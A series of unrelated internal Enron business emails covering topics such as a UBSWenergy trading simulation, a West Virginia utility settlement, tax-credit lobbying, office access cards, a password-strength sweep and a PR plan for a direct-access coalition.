transaction which you and Bill Brown verbally agreed to. 

If this accurately reflects your understanding of the transaction, please 
print out two copies, execute, and return both to oour office.? We will then 
have them executed by Tom Armstrong (VP/Gas Resources & Energy Services), and 
return an original for your files. 

If you have any questions regarding this transmission, please don't hesitate 
to contact Bill Brown at 702-876-7136, or william.brown@swgas.com. 

Thank you.
 - ENRN00-2.EXH.wpd

We are continuing work to ensure our new online trading system, UBSWenergy, is ready for launch on the week of Feb. 11, which is the week following the anticipated Enron/UBS Closing Date of Friday, Feb. 8.

To assist in this process, we are planning an online trading simulation for Thursday, February 7 from  0900 to 1100 (CST). It is planned to include all  traders, originators, mid/back-office staff and IT teams who would normally be involved with electronic trading.

Purpose of the simulation - The simulation will test our "live" trading environment (restricted to internal access only) and will:

Test the integrity and functionality of the system and related processes (including credit, risk, legal, operations, etc.)
Provide an opportunity for traders to verify their products and product setup
Demonstrate how the trading system and processes work to UBS staff visiting next week

Nature of the simulation - The simulation will include testing of all processes related to trading and mid/back-office functions:

Credit, Legal, Risk, Operations, and other groups:
Profile tests for "external" customers (role-played by Originators)
Profile tests for internal users (traders, back-office, etc.)
Data and Process checking as completed transactions flow through Mid/back-Office systems

Traders and Originators:
Traders will be managing their individual books and associated products. Although we may be restricted to certain financial products on launch day, both physical and financial will be available during the simulation. Each trader will be asked to manage their individual position and profitability goals for the simulation.
Originators and others will be asked to play the roles of counterparties. Credit limits, etc. will be tested during the simulation.

Information Technology:
Will assist in preparing data on the system for the simulation.
After the simulation is over, will work with the relevant groups to test the trade-data in various systems and risk books
Will ensure all simulation data is removed from the system after the simulation is complete.

Next steps 

Traders and Originators will be contacted prior to simulation day to ensure they have appropriate access to the system.
Originators will be assigned specific roles. You should expect to receive an email and/or handout on or before Wednesday, Feb. 6.
UBSWenergy personnel will be meeting with back office personnel over the next several days to ensure everything is in place for the simulation.

Summary

This simulation is an important step towards re-launching our trading business. We appreciate the participation of everyone involved as we prepare for the public launch of UBS Warburg Energy and the UBSWenergy trading platform.

If you have any questions, comments, suggestions, or ideas regarding this simulation, please feel free to contact Bob Shults (30397) or myself (31861). 

Regards,
Dave Forster
713.853.1861
E-Mail:	David.Forster@enron.com

These positions look fine

06/14/2000 08:58 PM
cc:  
Subject: FT Positions

Please see below information on the West Virginia Settlement from Janine 
Migden.

---------------------- Forwarded by Ginger Dernehl/HOU/EES on 12/13/99 05:08 

Janine Migden
12/13/99 03:57 PM
To: Steven J Kean/HOU/EES@EES, Richard Shapiro/HOU/EES@EES, James D 
Steffes/HOU/EES@EES, Harry Kingerski/HOU/EES@EES, Scott Stoness/HOU/EES@EES, 
Elizabeth Linnell/HOU/EES@EES, Ginger Dernehl/HOU/EES@EES, Lynnette 
Barnes/HOU/EES@EES, Susan.R.Lewis@enron.com
cc: Thomas S Reichelderfer/DUB/EES@EES, Barbara A Hueter/DUB/EES@EES, Lara 
Leibman/HOU/EES@EES 
Subject: West Virginia Settlement

Thom and I have just completed negotiations in West Virginia involving APS, 
AEP and other stakeholders.
The settlement, being filed today is a compromise on all the issues and is 
the result of negotiations.  Enron was the only marketer involved in the 
process.  While we weighed in all the issues, there are a number of items 
that but for our persistence would not have been included in the final 
agreement.  These items include the following:

1.  Native load language
2.  Competitive metering and billing for industrial and large commercials as 
of day one, with other customers following no later than within the next four 
years.
3.  Addition of competitive bidding for default service at end of 5 years.
4.  Change from functional separation to a requirement to corporately 
separate as soon as possible but no later than within the next five years.
5.  Strong codes of conduct that form the base for more detailed rulemaking.  
(A special thanks to Lara Leibman for her assistance).

Below is a summary of the entire settlement:

1.  All customers can exercise choice beginning January 1, 2001.
2.  All utilities including IOU's, munies and coops can opt in.  APS has 
committed to opt in whereas AEP is not because it did not get any stranded 
cost and it also did not get a guarantee of full recovery of all costs 
resulting from the environmental lawsuits against them irrespective of their 
financial condition.  
3.  Competitive metering and billing as described above.
4.  Generation is deregulated.
5.  PSC continues jurisdiction over implemention, rate unbundling, 
reliability, codes of conduct, supplier licensing, construction of 
transmission lines and eminent domain authority.
6.  Native load language - Requires utilities to provide service to 
affiliated and unaffiliated suppliers only under the applicable distribution 
tariffs and proformatransmission tariffs.
7.  RTO's - Each utility must join a FERC approved RTO or its equivlent by no 
later than 1/1/03;  best efforts requirement to eliminate pancaking by 1/1/05 
if IOU's are in separate RTO's.
8.  Competitive bidding process for  default service customers at end of year 
5 for remainder of transition period.
9.  Rate unbundling requirement
10. Rates capped for first 4 years with any FERC change in transmission being 
applied as an offset to distribution.
Rates continue to be regulated through the 10th year with the rate gradually 
increasing during the second six years for the residential and small 
commercial customers.  For the large commercial and industrial customers, the 
rate regulation ends 12/31/07.
11.  A rate stabilization deferral fund is created to facilitate the 
transition to competition in years 11, 12 and 13, under which APS must 
contribute $56.75 million and AEP must contribute $81 million to be used as 
an offset to the prices paid by small residential and commercial default 
12.  Large commercial and industrial customers receive for the first 4 years, 
rate decreases in an amount to be determined by the Commission for AEP 
customers and 3% for APS customers.  The rate decrease is allocated to 
13.  No stranded costs (either generating or regulatory assets) for AEP or 
APS, however APS gets a ten year PURPA surcharge starting at 2.6 mills per 
kwh in year one and declining to .75 mills per kwh in the last two years.
14.  Usual licensing requirements.  (AEP fought for the right to have a 
second tier of licensing where they would have the ability to certify 
marketers but we defeated that).
15. Corporate separation and codes of conduct as described above.  
16. Consumer protection and education requirements typically found in other 
plans.
17. Low income protection provisions providing a .2 mil surcharge with the 
minimum being $.40 and the maximum being $300.
18. Utility worker protection plan.

Below for your information is the plan.

At this point the plan goes to the PSC for approval and then on to the 
legislature for a resoulution approving the PSC order.  We expect that AEP 
and labor will oppose it, so it will be a close call.

Janine

Catherine,

Could (Would) you do me the favor of arranging flight reservations for Mark 
Fisher to travel to Mill Run PA on Wednesday next week?  He will need a car 
and hotel reservations in addition to his flight arrangements.  His return 
flight would be Friday morning.

Thanks,
Hollis 

Please make two colored copies of this document.  Thank you.

Mike
---------------------- Forwarded by Mike Grigsby/HOU/ECT on 06/28/2000 05:10 
   
	From:  Phillip K Allen                           06/27/2000 04:40 PM
	
To: Mike Grigsby/HOU/ECT@ECT, Keith Holst/HOU/ECT@ect
cc:  
Subject: West Power Strategy Materials

---------------------- Forwarded by Phillip K Allen/HOU/ECT on 06/27/2000 

TIM HEIZENRADER
06/27/2000 11:35 AM
To: John J Lavorato/Corp/Enron@Enron, Phillip K Allen/HOU/ECT@ECT
cc: Tim Belden/HOU/ECT@ECT 

Charts for today's meeting are attached: 

Per Maureen's December 22nd request, please find attached my 2000 
Accomplishments

Mike D.

Linda and I are following the PTC for Corp. out of DC.  Ed Coats in Enron Corporate Tax leads from Houston.  We have a Bracewell Patterson attorney in DC retained to support our corporate tax efforts on Capitol Hill.  

Enron Wind also has a lobbyist dedicated 24/7 to this effort.  

	Mark Metts/Enron@EnronXGate 07/02/2001 10:40 AM 	   To: Chris Long/Corp/Enron@ENRON  cc: Steven J Kean/NA/Enron@Enron  Subject: RE: Wind Production Tax Credit (PTC)	

Chris,

Thanks very much for the prompt reply.  This is exactly what I needed.  Who is working this in-house?  Do we have any outside resources devoted to it?

Mark

From: 	Long, Chris  
Sent:	Monday, July 02, 2001 8:45 AM
To:	Metts, Mark
Cc:	Kean, Steven; Robertson, Linda; Decker, Larry; Fisher, Dolores
Subject:	Wind Production Tax Credit (PTC)

Mark - I left a voice mail on your cell.

The Wind Production Tax Credit expires on December 31, 2001.   The PTC will be extended.   There is significant bipartisan support for the PTC, the revenue number is reasonable, and renewables are a key component of the energy debate.

The question is when and how.  Two likely scenarios are:

1)  As part of the Energy Bill.  The House Ways and Means Committee will mark-up the tax portions of the energy bill in mid-July.  We understand that Chairman Thomas is committed to including the PTC as part of the Ways and Means bill.  The Senate Finance Committee has not scheduled a mark-up.  While the energy bill will be debated during July, final action will likely not occur until after the August recess.   In this scenario, look to September at the earliest.

2)  There are 10 provisions, including the PTC,  in the IRC that expire by December 31, 2001.   Historically, Congress approves an "extenders" package late in the session to keep the tax credits functioning.   While no one can predict when Congress will adjourn, they are set to adjourn in early October.  In this scenario, the PTC would be extended in late September at the earliest.

Mark, this is Congress, so anything can change.  

Call me with any questions at (202) 466-9158.

Les,

The same to you. Best Holidays Wishes and a Happy New Year.
Hope to see you in Houston in March. I signed up for one training class
and I am sending 2 guys to both courses.

Vince

"Les" <les@lacimagroup.com> on 12/19/2000 10:12:50 AM
To: "Peter Ash" <PAsh@anpower.com>, "Peter Israel" 
<Peter.Israel@boral.com.au>, "Peter Phillips" <peter.phillips@axa-re.com>, 
"Phil Hudson" <100774.2720@compuserve.com>, "Philip Emery" 
<damory.nc@netzero.net>, "Philip Stein" <philip.stein@ssmb.com.au>, "Qiang 
Fu" <qfu@bear.com>, "Randal Parsons" <Randal_Parsons@yahoo.com>, "Richard 
Coleman" <Richard@chatwin.co.uk>, "Rob Clarke" <rob_clarke@standardlife.com>, 
"Rob de Rozario" <rob_de@hotmail.com>, "Roger Power" 
<rogerp@morgan.ucs.mun.ca>, "Ronald Heynen" <Ronald_HEYNEN@paribas.com>, 
"Rubin Rajendram" <rubin_rajendram@hotmail.com>, "Russell Grimwood" 
<phd96rg@razor.wbs.warwick.ac.uk>, "Sam Downes" 
<downes@babbage.cs.murdoch.edu.au>, "Sandra Jackson" 
<sandrajackson@cmc.aust.com>, "Sharon Burke" <sharon@colplan.co.uk>, "Silio 
Aparicio" <silio.aparicio@enron.com>, "Silvana Musti" <smusti@libero.it>, 
"Steve Dalton" <steve.dalton@icorbroker.com>, "Steve Thomas" 
<SteveT@citizenspower.com>, "Stewart Hodges" <forcsh@wbs.warwick.ac.uk>, 
"Suhrud Dagli" <sdagli@newbreak.com>, "Tiffany Hutcheson" 
<Tiffany.Hutcheson@uts.edu.au>, "Tom Cooper" 
<thomas.cooper@uk.pwcglobal.com>, "Tony Hall" <tony.hall@uts.edu.au>, "Vince 
Kaminski" <Vince.J.Kaminski@enron.com>, "Yvonne Gray" <yvonne.gray@uts.edu.au>
cc:  
Subject: Seasonal greetings

Seasonal greetings and best wishes for a happy and prosperous new year!

Les.

Dr. Les Clewlow
Visiting Research Fellow, School of Finance and Economics, University of
Technology, Sydney, Australia.
Associate Research Fellow, Financial Options Research Centre, Warwick
Business School, Coventry, UK, CV4 7AL.
Director, Lacima Group Ltd. 55 Skylines Village, Limeharbour, London, E14
9TS, UK. Phn: +44 (0)171 531 9628, Fax: +44 (0)171 538 5781
WWW:   http://www.lacimagroup.com

Attached is a copy of the new floor plan for 47, as well as a list of the 
seating assignments as approved by senior management.  The construction is 
scheduled to be completed on February 9, and we'll be able to effect our 
moves the following Monday, February 12.  

The move paperwork will be handled as one complete request.  You may be 
contacted for your social security number, current location, etc. if we don't 
already have that information.

On another note, a couple of people have voiced complaints about the air 
quality on the 47th floor.  The air filters have been replaced with high 
density, thicker filters which should make a significant improvement.  The 
Facilities group will also perform some additional testing to check our air 
quality.

If you'll be out of the office on Monday and need help getting your desk 
packed, please let Elizabeth know by Thursday, 2/8.  

Please call her at x33896 if you have any questions.

Angela M. Wilson
Government Affairs-The Americas
713-853-1593
awilson3@enron.com

Dave,

Is this the proposed, revised policy that OLER is working on?  The reason I 
ask is that OLER is revising all Enron policies right now, and I think that 
the harassment prevention policy is being revised as well.  I'd just as soon 
we use the latest and greatest instead of the one that is soon to be 
replaced.  Check with Valeria Hope or Susan Tosoni about the status.

Thanks.

Michelle

	From:  Dave Hill @ ENRON                           10/13/2000 04:14 PM
	
cc:  
Subject: CGAS Harassment Policy

Michelle,

Here is Enron's harassment policy and the modification I made for CGAS.  Let 

Thanks,
Dave

That envelope should probably go to Rob Milnthorp.  I'll have a copy walked 
down to John Lavorato here.  It is a list of all of our NYMEX positions, and 
the list should be provided by Rob to any traders trading NYMEX out of 
Canada.

Dear Managers & Supervisors, 
Thank you for your participation and contributions to the Year End 2000 PRC 
process.    It was a privilege for me to witness all of you making decisions 
that were beneficial to Enron and the development of the employees that you 
supervise.    Now what remains to be done is to give your employees their 
feedback verbally and in written form. 
I encourage all of you to complete your employee's evaluations before bonuses 
and merit increases are given on 2/5/01.

Please remember:

 All employees in non-bonusable categories must have their performance 
evaluations reviewed by HR and Legal before the evaluation is presented to 
the employee.    
Rankings will remain confidential and will not be communicated to employees. 
HR will participate as observers of some reviews. 

Let us know how we can assist you,
Your HR Team

Your address has been removed from the Ligthouse subscription list.  We 
hope you will rejoin us in th future.

Thank you.

 Click here: Official Athletic Site, Oklahoma Sooners 

This is interesting -- hadn't seen this chart in the press -- shows votes by 
region -- you can see the west favorites us -- but the others....? ?Big 12 
should have showcased OU and #14 more --- I think they were happy OU did what 
they did, but the "days gone by when they all were jealous of OU' probably 
still lingered in the Big 12 former Big 8 offices.......... 

If this doesn't open up to "regional vote" --look for a link titled something 
like that.... 

Kenny 

The meeting is to try and get portland back in line on timings - we clearly should not be in a position to trade physically immediately but within a month.  I am scared by his approach of 120 days for interconnection and 60 for FERC.

Subject: Access Card Information

We know you have many questions about your new benefits plan, payroll issues and other changes that will occur over the next few weeks. Human Resources and Communications are preparing a thorough Q&A, which we will send to you tomorrow and will regularly update as more information is available. 

Meanwhile, please read the announcement below from Security about how you can obtain a new UBS Warburg access card that will allow you to enter our new office space after Friday.

I am confident that you share my enthusiasm about our new opportunity.  We look forward to working along side each of you in the coming days.

David Oxley
Human Resources
____________________________________________________________________

Access Cards

There will be a two-day transition for the new UBS Warburg access cards. Beginning Monday, February 11, access to the 5th and 6th floors of Enron Center South will require these new cards. UBS Warburg access cards can be picked up from 7 a.m. to 7 p.m. at the reception area on the 5th floor of Enron Center South on Thursday, February 7th ; Friday, February 8th ; and Monday, February 11. Enron Security will produce new access cards with existing photographs, then simultaneously issue the new and collect the old cards. Employees without UBS Warburg cards will be allowed into the Enron Center South building on Monday but will have to collect their new cards as soon as possible to gain access to the 5th and 6th floors.

Employees who fail to collect their new cards by 7 p.m. Monday will be required to contact Enron Security's general information number at 713-853-5360 to arrange to pick them up.

There will be security staff available at the pick up point on ECS 5 to help with any problems you might have.

It is suggested employees wear their access cards at all times while on the premise.

Accessible Areas - The new cards will allow UBS-W employees to enter:
5th & 6th floors and Plaza area of Enron Center South , 
The Sky Ring 
Body Shop, Enron Center North Plaza and therefore access the Credit Union and Cafeteria from either building.

Restricted Areas - Employees must submit to Enron Security a Restricted Access Request form (available by calling 713 8535360 ) and signed by Bob McAuliffe (713-853-7468) to enter:
Enron Center South, 8th and 9th floors
Enron Center North, 22nd and 34th floor 
Ardmore Data Center.

Employees staying with the Enron estate while visa and other issues are completed - Employees in this group who are on assignment arrangements to UBS-W will be issued a regular access card - available in the same way as other new UBS-W employees.

Estate employees who are working with UBS-W on transition issues  - If they will be based in UBS-W office space they should talk to their UBS-W counterpart for approval and then UBSW HR for the issue of a UBS-W contractor card (in addition to their regular Enron badge). 

Please find attached the captioned report for the week ending May 25.  A 
topic / key word index follows below, in order to facilitate coming up to 
date on topics of interest to you.  If you wish to add or delete names from 
the distribution, please advise.   Should you have any question on any of the 
items, or require additional information, please do not hesitate to contact 
us.  
Thanks.  Ray 

Agreement termination: B
Ancillary sales: 15
CA infrastructure FERC tech. conference: A
CAISO ancillary services & supplemental energy complaint: 37
Interconnect Agreement: 1, 2, 3, 5, 28, 34, 36
Market monitoring and mitigation: 29
Meter service agreement: 8,10
NOx in proxy market clearing price for power: 27
Operating Agreement: 1,2,3,4
PGE: 26
Participating generator agreement: 7,9,11,12
Power Sale Agreement: 4,21,22  
Power Sale Tariff: 16,30,31,32,33
Radial lines: 35 
RTO: 39  
Transmission Service Agreement: 14, 18, 19, 20, 23, 24, 36, 38 
Transmission Tariff: 6,13,17,25

As requested. Jay and I have discussed Hillier.
From: 	Jarrett,  Anthony  
Sent:	Wednesday, February 06, 2002 11:39 AM
To:	Oxley, David; Fitzpatrick, Amy
Cc:	Cash, Michelle
Subject:	RE: Two things

David attached below is the information from Enron's Pension Manager System.  The Unvested Balance totals are from 12/31/2001.

Thanks, Tony

Sent:	Tuesday, February 05, 2002 6:40 PM
To:	Jarrett,  Anthony; Fitzpatrick, Amy
Subject:	FW: Two things

Can you give me a list of names, dates and unvested cash balance plan amounts?

David
Sent:	Tuesday, February 05, 2002 5:55 PM
To:	Oxley, David; Whalley, Greg

Ok on Sachs

I think that's a real problem with their money - how much each and how are the people?  Essentially - how material?

Sent:	Tuesday, February 05, 2002 4:06 PM
To:	Kitchen, Louise; Whalley, Greg
Subject:	Two things

Credit 
Bill may want to do a contract for Sachs at around 20/20. He's thinking about it and will let me know. Apparently RWE are chasing him.

NETCo ee's with nearly 5 years service at Enron
We have about 10 people who had they stayed at Enron estate for another 30 - 60 days would have vested in the Enron pension plan (cash-balance plan). We have tried to find some way to make something work here, but as it stands it looks like the are going to have to transfer on 8th of Feb and forfeit whatever was in this plan (roughly 5% of base salary per year and it is a 5 year service vesting arrangement). You may hear some noise.

David

STEVE KEAN

Subject: re: Executive Committee Meeting-April 9th.

Executive Committee Weekly Meeting
Date:  Monday, April 9th     
Time:  11:00 a.m. (CDT)
Location: 50th Floor Boardroom
Video:  Connections will be established with remote locations upon request.
Conf call: AT&T lines have been reserved.  Please contact Sherri Sera 
(713/853-5984) 
  or Bill Dorsey (713/646-6505) for the weekly dial-in number and passcode.

Please indicate below whether or not you plan to attend this meeting and 
through what medium. 

 Yes, I will attend in person ___X____

 By video conference from _______

 By conference call  _______

 No, I will not attend  _______

*  *  *

Please return this e-mail to me with your response by 12:00 p.m., Friday, 
April 6th.

Thank you, 
Bill Dorsey.

Attached, please find the latest information from the direct access
coalition.

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Message-ID: <F1011D165600D411AC5400D0B720EE10A621F8@SFOXMB1>
From: "Fairchild, Tracy" <tracy.fairchild@edelman.com>
To: dhunter@smithandkempton.com, brbarkovich@earthlink.net,  
wbooth@booth-law.com, drothrock@cmta.net, jackson_gualco@gualcogroup.com,  
kmills@cfbf.com, kmccrea@sablaw.com, mday@gmssr.com,  nplotkin@tfglobby.com, 
spahnn@hnks.com, wlarson@calstate.edu,  vincent.stewart@ucop.edu, 
gharrison@calstate.edu, sgovenar@govadv.com,  hgovenar@govadv.com, 
smccubbi@enron.com, lhastings@cagrocers.com,  theo@ppallc.com, 
cra@calretailers.com, mmoretti@calhealth.org,  wbrown@lhom.com, 
randy_britt@robinsonsmay.com, "DiMare, Dominic"  
<Dominic.DiMare@calchamber.com>, vjw@ceert.org, rcavanagh@nrdc.org,  
rochmanm@spurr-remac.org, rrichter@calhealth.org, ken_pietrelli@ocli.com,  
dennis.flatt@kp.org, richard.seguin@kp.org, arm@phaser.com,  
djsmith@smithandkempton.com, "Fairchild, Tracy"  
<tracy.fairchild@edelman.com>, "Allen, Stevan"  <stevan.allen@edelman.com>, 
"Beiser, Megan" <Megan.Beiser@edelman.com>,  "Manuel, Erica" 
<Erica.Manuel@edelman.com>, "Warner, Jami"  <jami.warner@edelman.com>
Subject: Direct Access Coalition Media Plan
Date: Tue, 27 Feb 2001 22:46:28 -0500
boundary="----_=_NextPart_000_01C0A139.07D39B10"

Hello to the Direct Access Coalition:

Below you will find a summary of the press strategy that Edelman Public
Relations intends to employ over the coming weeks in collaboration with the
Alliance for Retail Energy Markets and the broader Direct Access Coalition.
I will also outline the information that I need from Direct Access Coalition
members who are willing to be involved in media outreach and interviews.
And finally, I have attached supporting documents that you can use as
background material to prep for your responses to any media inquiries that
you may receive.

This Week

1.   We are drafting a "pitch letter" to send out by the end of this week
via blast e-mail and fax to the following media lists: 1)capitol press corps
reporters; 2) mainstream media reporters working the energy crisis; and 3)
trade media.  We may also outreach to our editorial board list as well.  Our
pitch will be focused on what it will really mean for small business and C&I
customers to lose the option of retail choice at a time when they are
suffering the financial hardships of skyrocketing energy bills. We will
address the effect on California's future business climate if direct access
is not preserved through legislation that corrects the problems that AB1x
caused for retail choice.  And finally, we will address the point that no
matter what direction California ultimately takes, direct access must be a
part of the solution.  Reporters have seen the recent polls which illustrate
California businesses' concerns with the path the state is on so this is a
prime opportunity to build on those recent media stories.

2.    We recommend a conference call with AReM and the Direct Access
Coalition on Friday to address the questions and suggestions on the press
strategy outlined here.

3.     Determine which people in the Direct Access Coalition are willing to
take media calls on behalf of the coalition.

Next Week

1.   Follow up with key reporters who received the pitch letter.

2.   Evaluate the language of SB 27x and determine whether there will be an
opportunity to hold a news conference with Sen. Bowen in the near future.
Monitor movement at the PUC and determine whether a press conference may be
effective in this arena, or whether we may need to use the option of sending
a media alert before the March 7 hearing, followed by a news release after
the hearing.

3.   Place op-eds (opinion pieces) with key newspapers.

4.   Contact radio news shows and TV public affairs shows (i.e. California
Capitol Week and the California Report) to secure
media interviews.

5.    Revise the SB 27x fact sheet (attached) to reflect the realities of
the amended language in SB 27x.

 What We Need From You

1.  If you are willing to speak with the media, or you have
customers/clients with a positive direct access story to tell, please
respond to this email as soon as you can with your name and contact

2.  If you have draft op-eds written that need to be placed with newspapers
on behalf of your association and the broader coalition, we are willing to
do this for the you.

3.  If you have colleagues and/or staff that are already working with the
media it would be helpful to have this information so that we can
collaborate as necessary.

The Documents Below

>  All documents are works in progress, so if you have suggestions on
> potential changes, please feel free to share them with us.
>

Thank you.

>  <<AREM Fact Sheet 2212001 ver 2272001.doc>>
>  <<Q&A @ ESP Reversions 22701.doc>>  <<AReM FAQ FINAL3.doc>>  <<AREM Fact
> FINAL3.doc>>
>
> Tracy Fairchild
> Account Supervisor
> Edelman Public Relations Worldwide
> (916) 442-2331
> tracy.fairchild@edelman.com
>

 - AREM Fact Sheet 2212001 ver 2272001.doc
 - Q&A @ ESP Reversions 22701.doc
 - AReM FAQ FINAL3.doc
 - AREM Fact FINAL3.doc

John sherriff and I hosted Ian Murray for an hour today at his request.  He 
will be arriving in Houston in January, having just completed a tour of duty 
in Sao Paolo, where he came into contact with Jim Bannantine.  At the end of 
the meeting I gave him your name/number as a contact.  He may call you.  No 
big issues, he just wants to make sure he knows us, and we know him, as we 
are a major inward investor in the UK.   thanks  mcs

Tana:
Mark has asked me to handle the Mexico issues in connection with EOL 
trading.  I understand that you have copies of what has been sent to and 
received from Mexican counsel.  Could you before you leave tomorrow give me 
copies of all correspondence as well as copies of the more current 
questionnaires taht we have been sending out so that I can start following up 
with them on Monday?  Thanks.
Carol 

Password Deletion

It has been noted that many users have passwords which match or are similar 
to their User ID's for internal EnronOnline applications (Stack Manager, 
Product Manager, EOL Reports).

This is a significant security concern. Therefore, there will be a sweep of 
ID's and passwords at the end of the day on Thursday, April 5. Any User ID's 
which have passwords similar to the User ID will be subject to deletion.

Changing Your Password

Passwords can be changed in either the Stack Manager or in EOL Reports.

To change your password in the Stack Manager, once logged on, go to toolbar & 
select "Help" and then select "Change Password".
The system will request you to enter your NEW password twice. 

To change your passsword in EOL Reports, open the Reports application, log 
in, select "Options" and "Change Password".The system will request you to 
enter your NEW password twice. Please note that the password change 
functionality within the Reports application is new. If it does not appear on 
your menu and you are running on a standalone machine, you will need to 
logout at the windows level and then login again to receive the updated 
version.

If you have any questions, please call the EnronOnline Help Desk (Houston: 
713 853 4357,  London: + 44 20 7783 7783)

Thank you for your assistance in preserving appropriate security.

Dave

Pat,

I have been working with Volume Management, Settlements, Vance, and Bob to 
clean up some prior period and prior-to-current month issues.  This process 
should result in a correction to booked profit/loss for Vance and the desk.  
This has brought to my attention that we have been paying some parties 
manually for volumes when deals are not correctly entered.  I would propose 
that Logistics be included in the communication of when checks are manually 
cut.  It would be especially beneficial if we tracked manual checks by 
counterparty, meter, and/or deal ticket id or price.  I feel that this will 
allow us to spot and resolve potential issues more effectively.

Please let me know what your thoughts are on this matter.  

Thank you for your time,

Mary

ext 35251

Start Date: 4/6/01; HourAhead hour: 17;  No ancillary schedules awarded.  

Schedules\2001040617.txt

     Details: (Hour: 17 / Preferred:  13.00 / Final:  12.00)

     Details: (Hour: 17 / Preferred:  12.00 / Final:  11.98)

     Details: (Hour: 17 / Preferred: 871.00 / Final: 850.00)
  DEAL_NO: 1
     Details:

  DEAL_NO: 1
     Details:

  PNT_OF_INTRC: ZP26
  DEAL_NO: 1

     Details: (Hour: 17 / Preferred:   6.61 / Final:   5.37)

Effective today, we have a group calendar.  Please use it to enter your days 
when you will be out.  If you would prefer to tell me, then I can enter them 
for you.  Everyone in the West Desk has access to this calendar.  Please 
utilize it so there is no shock to us assistants when you are not sitting at 
your desk in the morning and are on vacation or a business trip.

Also, please let me know when you are gone for the day.  This does not need 
to be in the calendar, but would be nice to know for phone call purposes.

Just click on this link and  the icon will be added  to your desk top.

Ina Rangel
-

West Desk Calendar => 

Libby Rutherford  - legal
Irene Yates - tax

	Ed Quinn
	08/09/2000 02:58 PM
		 
		 To: Sara Shackleton/HOU/ECT@ECT, Susan Bailey/HOU/ECT@ECT
		 cc: 
		 Subject: Legal Contact at Procter & Gamble

Sara,

Since P&G is a mammoth bureacracy and I am dealing with a new business 
contact, can you check your files and provide me the name of their 
counsel(s)  that worked on last year's ISDA negotiation.

Thanks.

Ed Quinn

If you need my signature you should get it by noon on Monday or it will have 
to wait until Thursday.

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 08/18/2000 
08:18 AM ---------------------------

Darrell Duffie <duffie@Stanford.EDU> on 08/17/2000 07:37:51 PM
Please respond to Darrell Duffie <duffie@Stanford.EDU>
cc:  
Subject: Re: Full version

I read the chapter. Generally,
I like it, and find it non-controversial
and well written. Of course, this is
a huge topic and there are things
that you haven't discussed.

I thought the amount of attention
paid to OLS and MLE estimation
was a bit overboard, given that you
didn't really exploit it in your
results. If you were to state
the likelihood function for
the GARCH model, it might justify
the amount of attention to
gave to estimation for
simple iid processes, which could then
be thought of as a simple lead-in
and intuition builder to
the more interesting models that
you do actually use.

By the way, in your discussion of
smiles, you discuss fat tails
extensively. At least for equity markets,
while fat tails contribute, they don't do very
much at all compared to the effect
of risk premia, which you allude to briefly,
using supply-demand language, at the
end of that section.

For the impact of risk premia, see
Jun Pan's paper, which is available
from her web page. But she covers
only SP500, (as do most studies),
and your markets are obviously much different.

The chapter will be a good service to your readers!

Best, Darrell

> X-Lotus-FromDomain: ECT
> From: "Vince J Kaminski" <Vince.J.Kaminski@enron.com>
> To: Darrell Duffie <duffie@Stanford.EDU>
> cc: "Grant Masson" <Grant.Masson@enron.com>, "Vince J Kaminski"
<Vince.J.Kaminski@enron.com>
> Date: Wed, 16 Aug 2000 16:37:53 -0500
> Subject: Re: Full version
> Mime-Version: 1.0
> Content-Disposition: inline
> X-UIDL: 00453eda98c82d709e6123af537e4f63
> X-Keywords:
>
>
>
> Darrell,
>
> Thanks a lot. I really appreciate it. The text is below our usual
> standards but we are completely swamped with work here.
>
> Vince
>
>
>
>
>
>
>
> Darrell Duffie <duffie@Stanford.EDU> on 08/15/2000 04:54:23 PM
>
> Please respond to Darrell Duffie <duffie@Stanford.EDU>
>
> To:   Vince.J.Kaminski@enron.com
> cc:
> Subject:  Re: Full version
>
>
> I'll have a look!
>
> I haven't much time, but can certainly
> get you a quick reaction, at least!
>
> Best, Darrell
>
>
> > X-Lotus-FromDomain: ECT
> > From: "Vince J Kaminski" <Vince.J.Kaminski@enron.com>
> > To: duffie@Stanford.EDU
> > Date: Thu, 10 Aug 2000 14:04:47 -0500
> > Subject: Full version
> > Mime-Version: 1.0
> > Content-Disposition: inline
> > X-UIDL: 9fef7462afa5d4ee6c04c9c02df71b25
> > X-Keywords:
> >
> >
> >
> > Darrell,
> >
> > Grant just alerted me that I sent you only  part of the text.
> >
> > Here is the full chapter with an aged version of Gran't part.
> > What I sent you represents an update of his contribution.
> >
> > Sorry for that.
> >
> > Vince
> >
> >  (See attached file: vol0720.DOC)
>
> _____________________________________________
> Darrell Duffie
> mail  GSB Stanford CA 94305-5015 USA
> phone 650 723 1976
> fax   650 725 7979
> email duffie@stanford.edu
> web   http://www.stanford.edu/~duffie/
>
>
>
>
>
>
>

Just a reminder that we are coming up to the end of the year and that you will be able to roll over 40 HOURS or ONE WEEK of vacation time.  Should you have more that 40 hours please try and use them before the end of the year so that you don't loose them.  I do have a print out of the vacation time if you need to verify your current balance.

Thank you,

T.Jae Black
East Power Trading
Assistant to Kevin Presto
off. 713-853-5800
fax 713-646-8272
cell 713-539-4760

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You can take them off.  I spoke to Sara and Marie didn't want them to attend 
and that is fine with Sara.

	05/23/2000 09:19 AM
		
		 cc: 
		 Subject: Re: Marie Heard's Party

Sara told me to put them on the list.  I've got a voice mail into her 
regarding same.

On another note, is there anything you need for tomorrow.  I sent the email 
saying the meeting was from 12 to 1:30 in 46C1 and lunch w/be provided.  Let 
me know if there's anything else you need.

	Tana Jones
	05/22/2000 02:57 PM
		
		 cc: 

The list looks OK except take off Clement Abrams and Ted Murphy.

	05/22/2000 02:25 PM
		 
		 cc: 
		 Subject: Marie Heard's Party

Tana, please look at that list as soon as you can.  I'd like to get the email 
out today or tomorrow since we need rsvps for the food and drink.  Thanks, Suz

TFS broker checked out wrong. We just spoke with him and he said he had 
corrected it with the back office. Should be cleared up now.

Thanks,
Kate

01/16/2001 01:32 PM
To: kate.symes@enron.com
cc:  

498118

should be np15

Yes.  If you called 713 973 6325, it is the number my computer is on.  I'll 
log off before 1000 so you can call on that number when you are ready.

Kay

	From:  Scott Healy @ ECT                           10/27/2000 09:26 AM
	
cc:  

Subject: 

In case I called the wrong telephone number, can we do a call today at 10:00 
AM to discuss the PO?

Ernesto, can you please provide the following information:

1.	Please confirm that the date that Accro commenced commercial operation was 7/6/2001.
